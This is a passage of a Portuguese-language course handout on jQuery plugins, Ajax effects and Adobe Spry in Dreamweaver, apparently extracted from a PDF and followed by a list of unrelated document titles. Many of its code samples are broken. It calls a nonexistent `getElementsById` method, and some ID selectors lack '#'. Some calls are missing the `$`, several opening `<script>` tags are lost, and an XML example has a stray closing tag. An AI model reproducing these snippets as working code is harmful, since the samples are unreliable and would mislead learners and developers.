Exemplo disso e a utilização de uma biblioteca rápida e concisa que simplifica a escrita da
codificação Java Script no HTML, a JQuery.
62
Disponível para download no endereço: http://jquery.com/, o próprio slogan da biblioteca já diz:
Escreva menos, faça mais. Esta biblioteca se baseia em inúmeras expressões regulares que
realizam o teste de cada sintaxe disponível na linguagem Java Script e permite que estes
comandos sejam resumidos no código, sendo depois trocados por suas verdadeiras codificações
pela própria biblioteca.
Existem diversas outras bibliotecas concorrentes, sendo que dentre elas podemos citar: Prototype,
Dojo, Yahoo! UI, entretanto a JQuery destaca-se pela sua facilidade de uso e pelo seu tamanho:
19Kb já com o modulo de Ajax!
Veja abaixo um exemplo diferenciando o da implementação feita com JQuery:
$(”a”).click(function(){
alert(”Voce clicou!”);
});
Neste exemplo estamos dizendo que todo e qualquer link (TAG “A”) ao ser clicado (evento onclick)
irá executar a mensagem “ Você clicou!”.
Ou seja, em 3 linhas você consegue expressar uma serie de testes e configurações com inúmeros
comportamentos vinculados a eventos por exemplo.
Imagine que você deseje selecionar todas as tags DIV do seu documento:
Java Script:
document.getElementsByTagName(“div”);
JQuery:
$(“div”);
Agora suponhamos que você queira selecionar uma DIV com um ID especifico:
Java Script:
Document.getElementsById(“id_da_div”);
JQuery:
$( “#id_da_div”);
Pegando um exemplo pratico, suponhamos que você queria esconder todas as tags “P” de um
elemento especifico:
63
JQuery:
$( “p”, “id_da_div”).hide();
Fácil não? Alem de poder manipular os eventos e propriedades dos elementos, o JQuery conta
com efeitos visuais pré-definidos, veja o exemplo:
$(“p”).fadeIn(“slow”);
$(“p”).fadeOut(“slow”);
$(“p”).fadeTo(“slow”, 0.5);
Neste exemplo estamos atribuindo o efeito de Fade (Esmaecimento) a todas as tags P do
documento.
Dentre as atribuições, algumas mais usadas nos nossos dias como a manipulação de eventos
também seguem a facilidade e simplicidade no uso:
Veja o código HTML abaixo:
<div id="menu">
<p>www.vipertech.com.br</p>
</div>
<button id="botao">Clique aqui</button>
Criaremos agora o script que manipula o evento do botão do formulário:
$("botao").click( function() {
$("p", "menu" ).fadeOut ("slow");
});
O que estamos fazendo é simples e bem fácil de compreender, procuramos o elemento Botão
dentro do documento, e atribuímos uma função ao evento CLICK, que consiste em aplicar o efeito
FADEOUT ao parágrafo nomeado MENU.
Como você já deve ter observado, só neste exemplo poupamos a escrita de inúmeras linhas de
código, ganhando muito tempo de implementação.
Por fim na JQuery temos métodos simples, como o que simula a função innerHTML do Java Script:
("div").html("<b>Novo Nó HTML</b>");
E atributos de imagem:
64
("botao").click( function() {
("img").attr("src","img/editar.png");
});
A documentação do site em que você baixa a biblioteca é bem completa, sendo que muito material
e exemplos são encontrados facilmente na internet, devido a rápida difusão deste material. A
seguir usaremos algumas outras bibliotecas livres para criarmos uma funcionalidade no mínimo
interessante para o nosso site.
Laboratório:
1. Crie um texto com efeito de rolagem
2. Crie um texto com efeito de esmaecimento e reaparecimento
3. Crie um texto com efeito de desaparecimento sem ocupar mais especo que ocupava
anteriormente
4. Crie um texto com efeito de desaparecimento ainda mantendo o especo que ocupava
anteriormente
5. Crie um texto com efeito que simule piscar
6.3 Criando uma janela arrastável
Recursos como o drag são muito usados em documentos que permitem certa interação do usuário
com o site. Realizar esse processo não é muito complicado, sendo o problema maior está em fazer
algo que funcione em diversos navegadores (crossbrowsser). Utilizando-se dos recursos da
biblioteca JQuery, e a junção de mais duas outras bibliotecas (iutil.js e idrag.js) iremos implementar
de maneira rápida este recurso tão atraente.]
Primeiramente baixe os dois arquivos faltantes no seguinte endereço:
http://interface.eyecon.ro/download
Após ter realizado o download teremos que incluir nesta ORDEM os três arquivos em nosso
documento HTML:
<script type="text/javascript" src="jQuery.js"></script>
<script type="text/javascript" src="iutil.js"></script>
65
<script type="text/javascript" src="idrag.js"></script>
Após este processo voce ira criar uma DIV com um ID, a qual chamaremos de NOTICIAS.
Coloque algum conteúdo dentro desta DIV, sendo que podemos ter qualquer coisa dentro dela.
Veja o exemplo abaixo:
<div id="noticias">
<table width="200" height="200" bgcolor="#CCCCCC">
<tr>
<td align="center">Arraste</td>
</tr>
</table>
</div>
Após iremos simplesmente implementar o script com a JQuery capaz de realizar o processo de
DRAG and DROP desta DIV.
Observe o código abaixo:
$(document).ready(
function()
{
$('#noticias').Draggable(
{
ghosting:
true,
opacity:
0.5
}
);
}
);
</script>
66
O significado lógico deste script é que ao carregarmos o documento, uma função é executada e
rasteia o documento atual procurando um elemento chamado NOTICIAS, atribuindo a propriedade
DRAGGABLE presente na classe IDRAG. Alguns efeitos como GHOSTING: rastro, OPCITY:
opacidade. Sendo que caso desejemos aplicar estes efeitos em outros elementos, basta apenas
replicar o bloco referente à DIV.
Vejamos mais alguns exemplos de parâmetros que a função DRAGGABLE possui:
snapDistance: Este parâmetro defini quantos pixels os objeto deve ser movimentado para que
seja iniciado o processo de “arrastar”. Isto serve basicamente para evitar que ocorra uma
movimentação acidental
frameClass: é a definição da classe que será aplicada ao objeto no momento da seleção.
ghosting: Ao invés de arrastar o objeto, é criado uma cópia dele e você acaba arrastando a cópia,
quando soltar o objeto original segue até o ponto que você solto.
opacity: Aplica uma opacidade na cópia do objeto.
revert: Você arrasta o objeto e ele retorna para o ponto inicial.
grid: [x, y]: Mover em grade. Faz com que o objeto mova-se de tantos em tantos pixels no eixo (x
e y).
axis: 'vertically' ou 'horizontally' : Moverá o objeto ou apenas na vertical ou na horizontal. Para
criara barras por exemplo.
zIndex: Define a camada que o objeto irá ocupar.
cursorAt: { top: x, left: y }: Faz com que o bloco siga o ponteiro do mouse em determinada
coordenada.
containment: 'parent': Determina se o objeto poderá se mover dentro do objeto onde está contido
ou se poderá mover-se por todo o documento.
handle: 'alvo': Este parâmetro serve para você usar um determinado objeto dentro do bloco que
deseja arrastar para ser seu ponto de arrasto. Como se fosse só naquele ponto onde se pode
arrastar o objeto.
Laboratório
67
1. Crie uma lista de 9 itens que só possam ser arrastados para uma área chamada “carrinho
de compras”
2. Crie 5 imagens no formato de x e 5 no formato de bola. Crie uma tabela de 3 x 3 e permita
que as imagens possam ser arrastadas para as células desta tabela
3. Crie um três objetos em camadas diferentes que possam ser manipulados por todo o
documento.
68
6.4 Criando uma “ávore de menus”
Um dos recursos mais interessantes da biblioteca jquery é a criação de menus na estrutura de
árvores. Este processo que já é bem utilizado com javascript, mas a biblioteca jquery tornou este
processo bem mais simples.
Para realizar estas atividades é necessário baixar:

jquery.treeview.js

treeview.css
Nosso objetivo final é uma tela como a tela abaixo:
69
Bem então vamos incluir os arquivos necessários para a execução:
<script src="../lib/jquery.js" type="text/javascript"></script>
<script src="../jquery.treeview.js" type="text/javascript"></script>
<link rel="stylesheet" href="../jquery.treeview.css" />
Logo após vamos incluir o código jquery
<script>
$(document).ready(function(){
// first example
$("#navigation").treeview({
persist: "location",
collapsed: true,
unique: true
});
});
</script>
Por fim colocamos a estrutura HTML que irá representar a estrutura propriamente dita:
70
<h4>Exemplo de Menu em Árvore</h4>
<ul id="navigation">
<li><a href="?1">Item 1</a>
<ul>
<li><a href="?1.0">Item 1.0</a>
<ul>
<li><a href="?1.0.0">Item 1.0.0</a></li>
</ul>
</li>
<li><a href="?1.1">Item 1.1</a></li>
<li><a href="?1.2">Item 1.2</a>
<li><a href="?1.3">Item 1.3</a>
<ul>
<li><a href="?1.2.0">Item 1.2.0</a>
<ul>
<li><a href="?1.2.0.0">Item 1.2.0.0</a></li>
<li><a href="?1.2.0.1">Item 1.2.0.1</a></li>
<li><a href="?1.2.0.2">Item 1.2.0.2</a></li>
</ul>
</li>
<li><a href="?1.2.1">Item 1.2.1</a>
<ul>
<li><a href="?1.2.1.0">Item 1.2.1.0</a></li>
</ul>
</li>
<li><a href="?1.2.2">Item 1.2.2</a>
<ul>
<li><a href="?1.2.2.0">Item 1.2.2.0</a></li>
<li><a href="?1.2.2.1">Item 1.2.2.1</a></li>
<li><a href="?1.2.2.2">Item 1.2.2.2</a></li>
</ul>
71
</li>
</ul>
</li>
</ul>
</li>
<ul>
<li><span>Item 2.0</span>
<ul>
<li><a href="?2.0.0">Item 2.0.0</a>
<ul>
<li><a href="?2.0.0.0">Item 2.0.0.0</a></li>
<li><a href="?2.0.0.1">Item 2.0.0.1</a></li>
</ul>
</li>
</ul>
</li>
<li><a href="?2.1">Item 2.1</a>
<ul>
<li><a href="?2.1.0">Item 2.1.0</a>
<ul>
<li><a href="?2.1.0.0">Item 2.1.0.0</a></li>
</ul>
</li>
<li><a href="?2.1.1">Item 2.1.1</a>
<ul>
<li><a href="?2.1.1.0abc">Item 2.1.1.0</a></li>
<li><a href="?2.1.1.1">Item 2.1.1.1</a></li>
<li><a href="?2.1.1.2">Item 2.1.1.2</a></li>
</ul>
</li>
<li><a href="?2.1.2">Item 2.1.2</a>
<ul>
72
<li><a href="?2.1.2.0">Item 2.1.2.0</a></li>
<li><a href="?2.1.2.1">Item 2.1.2.1</a></li>
<li><a href="?2.1.2.2">Item 2.1.2.2</a></li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<ul>
<li class="open"><a href="?3.0">Item 3.0</a>
<ul>
<li><a href="?3.0.0">Item 3.0.0</a></li>
<li><a href="?3.0.1">Item 3.0.1</a>
<ul>
<li><a href="?3.0.1.0">Item 3.0.1.0</a></li>
<li><a href="?3.0.1.1">Item 3.0.1.1</a></li>
</ul>
</li>
<li><a href="?3.0.2">Item 3.0.2</a>
<ul>
<li><a href="?3.0.2.0">Item 3.0.2.0</a></li>
<li><a href="?3.0.2.1">Item 3.0.2.1</a></li>
<li><a href="?3.0.2.2">Item 3.0.2.2</a></li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
73
Laboratório
1. Crie um menu em árvore que tenha suas informações oriundas de um XML
2. Crie um menu em árvore que tenha suas informações oriundas de uma tabela de um banco
de dados
6.5 Criando efeito “lightBox”
Um dos efeitos mais famosos do uso de Ajax é o LightBox. A forma de realizá-lo que anteriormente
exigia uma gama significativa de comandos, hoje é substituída por poucas linhas em jquery.
Para executar este efeito baixe:
jquery.lightbox-0.4.js
jquery.lightbox-0.4.css
Realize os includes para estes arquivos
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="jquery.lightbox-0.4.js"></script>
Os links para as imagens podem ter uma formatação parecida com esta:
<a href="imagem_grande.jpg"><img src="imagem_pequena.jpg" width="72"
height="72" alt="" /></a>
Para ativar o recurso basto inserir o seguinte script:
$(function() {
$('a[@rel*=lightbox]').lightBox(); // Seleciona todos os links que contem
o valor lightbox no atributo rel
$('#galeria a').lightBox(); // Seleciona todos os links do objeto com o
id galeria
$('a.lightbox').lightBox(); // Seleciona todos os links da classe
lightbox
74
$('a').lightBox(); // Seleciona todos os links da página
});
</script>
Laboratório.
1. Crie uma galeria com 3 imagens e utiliza o efeito lightbox
6.6 Ordenando tabelas
O resultado de um arquivo XML ou mesmo aqueles que são retornados diretamente do banco
de dados, nem sempre se apresentam na ordenação desejada pelo usuário. Por isto é muito
comum criarmos ordenação de colunas através dos títulos das mesmas.
A biblioteca jquery possui funções que facilitam esta tarefa. Para realizar esta atividade baixe
o seguinte arquivo:
jquery.tablesorter.min.js
Nosso objetivo final é uma tela semelhante a esta:
Vamos então linkar os arquivos necessários:
<script type="text/javascript"
src="jquery.tablesorter.min.js"></script>
Inserimos o script jquery
<script>
75
$(document).ready(function()
{
$("#myTable").tablesorter( {sortList: [[0,0], [1,0]]} );
}
);
</script>
Por fim o código HTML:
<table id="myTable" class="tablesorter">
<thead>
<tr>
<th>Last Name</th>
<th>First Name</th>
<th>Email</th>
<th>Due</th>
<th>Web Site</th>
</tr>
</thead>
<tbody>
<tr>
<td>Smith</td>
<td>John</td>
<td>[email protected]</td>
<td>$50.00</td>
<td>http://www.jsmith.com</td>
</tr>
<tr>
<td>Bach</td>
<td>Frank</td>
<td>$50.00</td>
<td>http://www.frank.com</td>
</tr>
<tr>
76
<td>Doe</td>
<td>Jason</td>
<td>$100.00</td>
<td>http://www.jdoe.com</td>
</tr>
<tr>
<td>Conway</td>
<td>Tim</td>
<td>$50.00</td>
<td>http://www.timconway.com</td>
</tr>
</tbody>
</table>
Laboratório:
1. Crie uma tabela com possibilidade de ordenação que tenha seu dados originados de um
arquivo XML.
2. Crie uma tabela com possibilidade de ordenação que tenha seu dados originados de uma
tabela de um banco de dados.
6.7 Amplinado Imagens
A ampliação de imagem tem é um recurso largamente utilizado em sites de e-commerce por
proporcionar ao usuário uma visão mais detalhada do produto.
A biblioteca jquery possui funções que facilitam esta tarefa. Para realizar esta atividade baixe
o seguinte arquivo:
js/jquery.jqzoom.js
77
<script type="text/javascript" src=" jquery.jqzoom.js"></script>
jQuery.noConflict();
jQuery(document).ready(function(){
$("img.jqzoom").jqueryzoom({
xzoom: 200, //largura do div de zoom(o valor padrão
é 200)
yzoom: 200, // altura do div de zoom (o valor
padrão é 200)
offset: 10 //intensidade do zoom (o valor padrão é
10)
//position: "right" //posição do div do zoom(o
valor padrão é “rigth”)
});
});
</script>
<div id="wrapper">
78
<div id="maincontent">
<div style="float:left;width:100%;clear:both;"><span
class="tozoom"><img src="images/shoe1_small.jpg" class="jqzoom"
alt="images/shoe1_big.jpg"></span>
<span class="tozoom"><img
src="images/shoe2_small.jpg" class="jqzoom"
</div>
<span style="float:left;width:100%;height:200px;"> </span>
</div>
Laboratório:
Crie uma galeria de fotos com 4 fotos que suas ampliações sempre apareçam no mesmo
local.
6.8 Criando Avaliações
A avaliação de um atendimento, vendedor, cliente ou produto é um recurso largamente utilizado
em sites de e-commerce por proporcionar ao usuário uma visão mais detalhada do item.
A biblioteca jquery possui funções que facilitam esta tarefa. Para realizar esta atividade baixe o
seguinte arquivo:
rating.js
rating.css
Images: star.gif, delete.gif
79
<script type="text/javascript" src="rating.js"></script>
$(document).ready(function() {
$('#star1').rating('www.url.php', {maxvalue: 1});
$('#star2').rating('www.url.php', {maxvalue:1, curvalue:1});
$('#rate1').rating('www.url.php', {maxvalue:5});
$('#rate2').rating('www.url.php', {maxvalue:5, curvalue:3});
});
</script>
<div id="star1" class="rating"> </div>
<div id="star2" class="rating"> </div>
<div id="rate1" class="rating"> </div>
<div id="rate2" class="rating"> </div>
Laboratório:
80
Crie uma lista de vendedores, uma avaliação para cada um e armazene em banco a avaliação
deles.
6.9 Menus em Abas
Os menus em abas são muito uteis para poupar espaço e tornar o ambiente mais interessante.
seguinte arquivo:
jquery-ui-personalized-1.5.2.packed.js
sprinkle.js
<script type="text/javascript" src="rating.js"></script>
81
O código css:
* {
margin: 0;
padding: 0;
}
body {
font-size: 75%;
color: #222;
background: #ffffff;
font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
line-height: 1.6em;
}
.widget {
width: 310px;
margin: 20px;
padding: 10px;
background: #f3f1eb;
border: 1px solid #dedbd1;
margin-bottom: 15px;
}
.widget a {
color: #222;
text-decoration: none;
}
.widget a:hover {
color: #009;
text-decoration: underline;
}
82
.tabnav li {
display: inline;
list-style: none;
padding-right: 5px;
}
.tabnav li a {
text-transform: uppercase;
color: #222;
font-weight: bold;
padding: 4px 6px;
outline: none;
}
.tabnav li a:hover, .tabnav li a:active, .tabnav li.ui-tabs-selected
a {
background: #dedbd1;
color: #222;
}
.tabdiv {
margin-top: 2px;
background: #fff;
border: 1px solid #dedbd1;
padding: 5px;
}
.tabdiv li {
list-style-image: url("star.png");
margin-left: 20px;
83
}
.ui-tabs-hide {
display: none;
}
$(document).ready(function() {
$('#tabvanilla > ul').tabs({ fx: { height: 'toggle', opacity:
'toggle' } });
});
<div id="tabvanilla" class="widget">
<ul class="tabnav">
<li><a href="#popular">Popular</a></li>
<li><a href="#recent">Recent</a></li>
<li><a href="#featured">Featured</a></li>
</ul>
<div id="popular" class="tabdiv">
<ul>
<li><a href="#">Welsh Zombie Sheep Invasion</a></li>
<li><a href="#">Sheep Rising From The Dead</a></li>
<li><a href="#">Blogosphere Daily Released!</a></li>
<li><a href="#">Aliens Infiltrate Army Base In UK Town</a></li>
<li><a href="#">U2 Rocks New York's Central Park</a></li>
<li><a href="#">TA Soldiers Wear Uniforms To Work</a></li>
<li><a href="#">13 People Rescued From Flat Fire</a></li>
<li><a href="#">US Troops Abandon Afghan Outpost</a></li>
84
<li><a href="#">Are We Alone? A Look Into Space</a></li>
<li><a href="#">Apple iPhone 3G Released</a></li>
</ul>
</div>
<div id="recent" class="tabdiv">
<p>Lorem ipsum dolor sit amet.</p>
</div>
<div id="featured" class="tabdiv">
<ul>
<li><a href="#">Aliens Infiltrate Army Base In UK Town</a></li>
<li><a href="#">Are We Alone? A Look Into Space</a></li>
<li><a href="#">U2 Rocks New York's Central Park</a></li>
<li><a href="#">TA Soldiers Wear Uniforms To Work</a></li>
<li><a href="#">13 People Rescued From Flat Fire</a></li>
<li><a href="#">US Troops Abandon Afghan Outpost</a></li>
<li><a href="#">Sheep Rising From The Dead</a></li>
<li><a href="#">Blogosphere Daily Released!</a></li>
<li><a href="#">Apple iPhone 3G Released</a></li>
<li><a href="#">Welsh Zombie Sheep Invasion</a></li>
</ul>
</div>
</div>
Laboratório:
Crie uma lista de notícias, produtos em destaque e emails que tenham sua origem em tabelas de
banco de dados.
6.10 Exibindo dicas em links
85
Um recurso bastante interessante é a existência de “dicas” sobre os links, com informações sobre
os mesmos antes do clique do usuário.
seguinte arquivo:
jtip.js
<script src="js/jquery.js" type="text/javascript"></script>
<script src="js/jtip.js" type="text/javascript"></script>
<div id="contentPad">
<p><strong>Roll over a question mark:</strong></p>
<label style="padding-right:5px">Password</label><input name=""
type="text" /><span class="formInfo"><a href="ajax.htm?width=375"
class="jTip" id="one" name="Password must follow these
rules:">?</a></span>
86
<br />
<br />
<label style="padding-right:5px">User ID</label><input name=""
type="text" /><span class="formInfo"><a href="ajax2.htm?width=475"
class="jTip" id="two" name="">?</a></span>
<p><strong>Try adjusting the browser window so the links in the
paragraphs below are as close to the right side of the window as
possible. Roll over a link in the paragraphs below. This demonstrates how
the tool tip will flip horizontally depending upon the space between the
tool tip and the right side of the window. Don't worry the script also
accounts for the custom widths.</strong></p>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam
nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat
volutpat. Ut <a href="ajax4.htm?width=475" class="jTip" id="six"
name="Window caption or title">Tip With Caption</a> enim ad minim veniam,
quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip
ex ea commodo consequat.</p>
<p>Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse
molestie consequat, vel illum dolore eu <a href="ajax3.htm?width=375"
class="jTip" id="three">Tip No Caption</a> feugiat nulla facilisis at
vero eros et accumsan et iusto odio dignissim qui blandit praesent
luptatum zzril augue duis dolore te feugait nulla facilisi. Lorem ipsum
dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh
euismod tincidunt ut <a href="ajax5.htm" class="jTip" id="four"
name="Window caption or title">No Specified Width</a> et dolore magna
aliquam erat volutpat.</p>
<p><strong>The link below demonstrates a tool tip on a text link that
allows for the link to accommodate an additional URL (using a query
string). So that a link will functions as expect if clicked. Notice the
cursor change.</strong></p>
</div>
Note que não houve a necessidade de especificar uma função em jquery, pois a mesma está
inserida no arquivo jtip.
Para que a dica seja exibida, basta definir o link como peretencente a classe jtip e o seu
respectivo href como sendo a página que contem o texto da dica.
Laboratório:
87
Crie um texto que contenha pelo menos 5 dicas.
6.11 Exibindo um Calendário
Para preenchimento de formulários em geral é muito comum a utilização de calendários com o
objetivo de facilitar a vida do usuário.
A biblioteca jquery possui funções que facilitam esta tarefa. Para realizar esta atividade baixe os
seguintes arquivos:
date.js
jquery.datePicker.js
datePicker.css
88
<script type="text/javascript" src="scripts/date.js"></script>
src="scripts/jquery.datePicker.js"></script>
<link rel="stylesheet" type="text/css" media="screen"
href="styles/datePicker.css">
<script type="text/javascript" charset="utf-8">
$(function()
{
$('.date-pick').datePicker({autoFocusNextInput: true});
});
</script>
89
<form name="chooseDateForm" id="chooseDateForm" action="#">
<fieldset>
<legend>Test date picker form</legend>
<ol>
<li>
<label for="date1">Date 1:</label>
<input name="date1" id="date1" class="date-pick" />
</li>
<li>
<label for="date2">Date 2:</label>
<input name="date2" id="date2" class="date-pick" />
</li>
<li>
<label for="test-select">Test select:</label>
<select name="test-select" id="test-select" style="width: 170px">
<option value="1">Test SELECT </option>
<option value="2">Doesn't shine through</option>
<option value="3">Even in IE</option>
<option value="4">Yay!</option>
</select>
</li>
</ol>
</fieldset>
</form>
Laboratório:
Crie um formulário para reserva de passagens e valide se a data de saída é menor que a data de
retorno.
90
Unidade 7 -
Dreamweaver e o Ajax
A utilização do Dreamweaver é apenas um exemplo de ferramenta desta tecnologia, poderia ser
utilizado outro editor da preferência do usuário ou até mesmo o bloco de notas.
7.1 Abordagem simples sobre os componentes do
SPRY
Por tornar-se tão rapidamente um artifício de fácil acesso e desenvolvimento, alguns aplicativos
comuns no ambiente de desenvolvimento web acabaram tornando-se acessíveis ao Ajax. Um
deles, o qual é muito conhecido e utilizado é o Adobe Dreaweaver CS 3. Alem dos componentes
conhecidos para o desenvolvimento de diversas linguagens, no âmbito tanto da programação
quanto visual um novo meio de inserir animações dinâmicas e acesso rápido a dados XML surgiu,
o SPRY.
O Spry é um framework client side em forma de bibliotecas Java Script, apesar de desenvolvido
pela Adobe pode ser utilizado por qualquer editor HTML, para saber mais sobre a ferramenta e
suas atualizações você pode acessar o site:
labs.adobe.com/technologies/spry/
Baseado em elementos e métodos do DOM, juntamente com a tecnologia XML esse modulo
destaca-se pela sua facilidade de acesso no Dreaweaver CS3.
Para acessar os componentes do Spry no Dreamweaver CS3 siga as instruções abaixo:
Seguindo o menu apresentado você verá a apresentação dos seguintes componentes
respectivamente:
91
Spry Xml Data Set: é o principal componente da utilização do Spry, nele você ira configurar os
dados e o documento XML fonte de onde estes dados serão lidos para o documento HTML que
estamos confeccionando.
Ao clicar neste item, a seguinte tela será apresentada:
Você deverá definir um nome para o Dataset, container que receberá os dados do arquivo XML
lido.
Através do botão BROWSE, selecione um arquivo XML, no nosso caso iremos selecionar um
arquivo semelhante a estrutura apresentada abaixo:
<?xml version="1.0" encoding="utf-8"?>
<cidades>
<cidade>
<id_cidade>1</id_cidade>
<nome>Alvorada</nome>
</cidade>
<cidade>
<id_cidade>14</id_cidade>
92
<nome>Porto Alegre</nome>
</cidade>
</cidades>
</municipios>
Clique a seguir em Get Schema e a estrutura hierárquica do documento XML será apresentada na
janela de dialogo logo abaixo:
Nas opções abaixo você poderá selecionar o tipo de dado (Data type) que está contido dentro dos
nodos principais do XML.
O campo Sort é responsável pela ordenação dos dados lidos no XML, onde podemos também
selecionar a direção de leitura (Direction) como Ascendente (Ascending) ou Descendente
(Descending).
Uma das opções relevantes nesta estrutura de configuração é a opção “Turn XML Data Caching
Off, em que você pode solicitar que o próprio script do Spry atualize a leitura dos dados do arquivo
XML a cada “n” Segundos, evitando assim que o mesmo não seja mantido em cachê e que os
dados fiquem desatualizados.
Após ter selecionado as opções desejadas, clique em OK.
Praticamente no modo de layout do documento nada ira ser afetado, entretanto se analisarmos o
código fonte do arquivo HTML notaremos algumas novidades:
<script src="SpryAssets/xpath.js" type="text/javascript"></script>
<script src="SpryAssets/SpryData.js" type="text/javascript"></script>
93
<!-var ds1 = new Spry.Data.XMLDataSet("01.xml", "cidades/cidade");
ds1.setColumnType("id_cidade", "number");
//-->
</script>
Se você observar verá que dois novos arquivos .JS estão sendo utilizados no seu arquivo, estes
foram copiados automaticamente pelo Dreamweaver para o diretório raiz onde encontra-se este
documento. Ambos são necessários para que a futura aplicação funcione, sendo estes os
mantenedores dos arquivos da biblioteca Spry.
Vamos agora selecionar o segundo componente da barra de itens do Spry:
Spry Region: como você já esta acostumado, quando trabalhamos com formulários em nosso site
é comum utilizarmos as tags FORM dentro do nosso documento, delimitando qual será a área que
possuirá os componentes do nosso formulário. Da mesma maneira deveremos prosseguir com a
utilização do Spry, então clique no item mencionado, e a seguinte caixa de dialogo será
apresentada:
Aqui você pode selecionar se ira preferir que esta região do Spry seja atribuída à uma DIV ou
SPAN, logo após clique em OK.
Uma linha pontilhada em preto com o comentário “Content for Spry Region Goes Here” aparecerá
no modo layout, sendo que todo e qualquer componente que acesse os dados dinâmicos via Spry
deverá ser adicionado dentro desta área.
Você pode apagar estar mensagem, e a seguir passar para o próximo passo:
94
Spry Table este item é interessante, pois será responsável por criar uma lista de repetição com os
dados que foram localizados dentro do XML dentro de uma tabela, note que ao selecionar este
item, a seguinte caixa de dialogo será exibida:
Dentre as configurações existentes, devemos ressaltar a opção “Sort Column when Header is
Clicked”, ou seja, ordenar as colunas conforme os cliques em seus cabeçalhos. Esta opção se
selecionada facilita muito a vida do usuário quando tratamos de listar dados em forma de relatórios
por exemplo, onde é de extrema importância a ordenação por colunas.
Como você pôde observar a utilização de arquivos XML em conjunto com novos e inúmeros
componentes da web estão cada vez mais aproximando o acesso a internet das funcionalidades
do desktop. Por fim iremos a seguir ver outra grande utilidade dos componentes SPRY da Adobe,
a transição de elementos no documento.
7.2 Efeitos SPRY com SPRY Effects
Efeitos de transição são muito comuns em arquivos animados como os feitos em FLASH, ou em
Silverlight da Microsoft, entretanto esta funcionalidade antes mal vista pelo desenvolvedores web
por sua complexidade de ser implementada em paginas estáticas sendo cada vez mais adotada.
Devido a sua leveza e a compatibilidade com inúmeros navegadores os efeitos com DOM e Ajax
se tornam cada vez mais populares e de fácil manipulação.
Visite o endereço abaixo:
95
http://labs.adobe.com/technologies/spry/demos/effects/
A Adobe disponibilizou um Demo de alguns efeitos que podem ser criados com o SPRY sem a
necessidade de muito conhecimento na área de desenvolvimento.
Efeitos como Grow (crescer), Shrink (encolher), Fade (esmaecer) entre outros estão disponíveis
para uso dentro da biblioteca Spry effects.
Veja abaixo o exemplo de como aplicar um efeito de Fade usando o código Spry em sua pagina:
Insira os seguintes arquivos nesta exata ordem no documento HTML:
<link href="effects.css" rel="stylesheet" type="text/css" />
<link href="../css/screen.css" rel="stylesheet" type="text/css" />
src="../../includes/SpryEffects.js"></script>
<script type="text/javascript" src="effects.js"></script>
Dentro do corpo do seu documento você deverá atribuir um evento a uma tag de sua preferência,
como no nosso exemplo abaixo em que atribuímos o efeito a um link:
<a href="#" onclick="runEffect('Fade', 'product_box', {duration: 1000,
from: 100, to: 0, toggle: true}, '');">Fade</a>
Dentro desta sintaxe alguns parametros são passados visando configurar o efeito que será
executado no evento:
runEffect('Fade', 'product_box', {duration: 1000, from: 100, to: 0,
toggle: true}
Onde:
Fade: efeito;
product Box: nome da DIV ou elemento que sofrerá o efeito.
Duartion: duração em milisegundos do efeito.
From: de onde começa (valor em %).
To: onde termina (valor em %).
96
Toggle: repetição (true = não repete, false = repete).
Verifique o efeito no documento criado, e experimente aplicar os outros efeitos disponíveis no site
da Adobe.
Aplicando efeitos Spry pelo Dreamweaver
Para aplicar este efeito pela interface do Drewamweaver, primeiramente crie um elemento novo,
uma DIV por exemplo, e atribua um nome a ela:
<div id="noticia">
Esta é uma noticia!
</div>
A seguir crie um link, e clique sobre ele:
<a href=”#”>Clique aqui</a>
Com o link selecionado no modo design, clique no menu lateral e selecione a guia TAG –
Behaviors – Effects – Appear Fade.
Veja a imagem abaixo:
97
Uma caixa de dialogo será exibida solicitando que você aponte qual será o elemento que receberá
o efeito, selecione então a DIV NOTICIA que você acabou de criar:
Agora clique em OK e visualize o documento no seu navegador.
Pronto! De forma rápida e simples você aplicou o efeito em um elemento sem a necessidade de
mexer no código.
98
Unidade 8 -
Trabalho final:
8.1 Aplicando os recursos na prática:
Visando fixar o material visto ao longo do curso, vamos agora implementar uma solução que
aborda todo conteúdo visto.
Projeto: interface inicial de uma intranet com conteúdo dinâmico acessível por Ajax.
Veja a imagem a seguir e baseie-se nela para construir a arquitetura do seu projeto:
Dentre os itens que estão sendo demonstrados, as janelas de conteúdo deverão ser arrastáveis e
selecionáveis, e as opções de estados e cidades dos formulários de contato deverão utilizar Ajax
no carregamento, evitando assim que a tela seja recarregada.
Não se apegue a detalhes de layout, aplique apenas as funcionalidades solicitadas.
99
100

Macromedia Flash MX 2004: Rich Media Design

Transcrição

Documentos relacionados

Gabriel Silva Gandolfo

Rua Antonio Carlos, 196 - apto 158 A

Procuro programador freelancer PHP

Problemas com `reload` • Quando um script faz modificaç˜oes na BD

Chat Box em PHP - Comunidade Portuguesa de PHP

BRUNO BORGES DA SILVA

Tratamento de XML com JavaScript e com PHP

Duvida url ftp - Comunidade Portuguesa de PHP

Língua Inglesa - 2º ano - Elements of day and night: Sun, Moon

Ferramenta para análise de dados gerados no LanGuard